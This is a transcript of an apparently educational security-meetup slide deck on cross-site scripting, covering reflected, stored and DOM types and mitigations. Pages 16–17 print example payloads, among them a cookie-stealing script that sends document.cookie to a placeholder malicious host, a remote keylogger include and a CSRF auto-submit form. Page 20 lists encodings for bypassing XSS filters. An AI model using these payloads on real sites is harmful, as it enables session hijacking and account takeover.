identifying xss vulnerabilities

22
Cross Site Scripting(XSS) @nullhyd – June’16

Upload: nu-the-open-security-community

Post on 15-Jan-2017

370 views

Category:

Internet


1 download

TRANSCRIPT

Page 1: Identifying XSS Vulnerabilities

Cross Site Scripting(XSS)@nullhyd – June’16

Page 2: Identifying XSS Vulnerabilities

#Whoami?• @NahtnahS• Web App Security Guy• Works as Security Analyst• Some HOF & acknowledgements

Page 3: Identifying XSS Vulnerabilities

Current Stats

Page 4: Identifying XSS Vulnerabilities

Experts says

Page 5: Identifying XSS Vulnerabilities

DefinitionCross-Site-Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted web sites.

Source:owasp.org

Page 6: Identifying XSS Vulnerabilities

Anatomy of XSS

Page 7: Identifying XSS Vulnerabilities

Anatomy of XSS

Page 8: Identifying XSS Vulnerabilities

HTML Source Code

Page 9: Identifying XSS Vulnerabilities

Types Of XSS• Reflected • Stored• Dom

Page 10: Identifying XSS Vulnerabilities

Reflected XSS• Reflected attack generally is used to exploit script injection

vulnerabilities via URL in a web application

Page 11: Identifying XSS Vulnerabilities

How it is exploited?Send’s the link to victim

Creates

a

Malicio

us

link

Victim Requests Webpage

Sends data to Attacker

Page 12: Identifying XSS Vulnerabilities

Stored XSS • Stored XSS occurs when the injected script is stored in the

database and is delivered to the visitor of the application

Page 13: Identifying XSS Vulnerabilities

How stored XSS is exploitedCode gets saved into the databaseVictim visits the Infected web page

Sends data to attacker

Injects Malicious Script into web server

Malicious code gets executed in victims browser

Page 14: Identifying XSS Vulnerabilities

DOM XSS• DOM Based XSS is an XSS attack wherein the attack payload is

executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner

Page 15: Identifying XSS Vulnerabilities

Attacks executed by exploiting xss

• Session Hijacking• Redirection• Phishing • Keylogging• CSRF

Page 16: Identifying XSS Vulnerabilities

Exploiting XSS• Redirection :

<script>document.location.href=”http://www.MaliciousSite.com/” </script>

• Session Hijacking<script>document.location.href=”http://www.MaliciousSite.com/cookiestealer.php?cookie=”+document.cookie </script>

• KeyLogging<script src=”http://www.MaliciousSite.com/keylogger.js”> </script>

Page 17: Identifying XSS Vulnerabilities

Exploiting XSS• CSRF

o Page 1:• <form name=”delete”

action="http://yoursite.com/deleteuser"method="post">• <input type="hidden" name="userid" value="1">• <input type=”submit”>• </form>

o Page 2:• “><script>document.form.delete.submit();</script>

Page 18: Identifying XSS Vulnerabilities

Prevention ?• Never Trust User Input.• Never Trust User Input.• Never Trust User Input.• Never Trust User Input.• Never Trust User Input.• Never Trust User Input.• Never Trust User Input.

Page 19: Identifying XSS Vulnerabilities

Mitigation• Input validation• Output Encoding:

o < > o &lt; &gt;o (&#40;) (&#41;)o&#35; &#38;

• Do not use "blacklist" validation• Specify the output encoding • Content Security Policy.

Page 20: Identifying XSS Vulnerabilities

Bypassing XSS FiltersEncoding Techniques works sometimes .Possible ways to represent ‘<‘

<, %3C, &lt, &lt;, &LT, &LT; , &#x3c, &#x03c, &#x003c, &#x0003c, &#x00003c, &#x000003c \x3c, \x3C, \u003c, \u003C

DEMO

Page 21: Identifying XSS Vulnerabilities

Questions ?

Page 22: Identifying XSS Vulnerabilities

Thank You!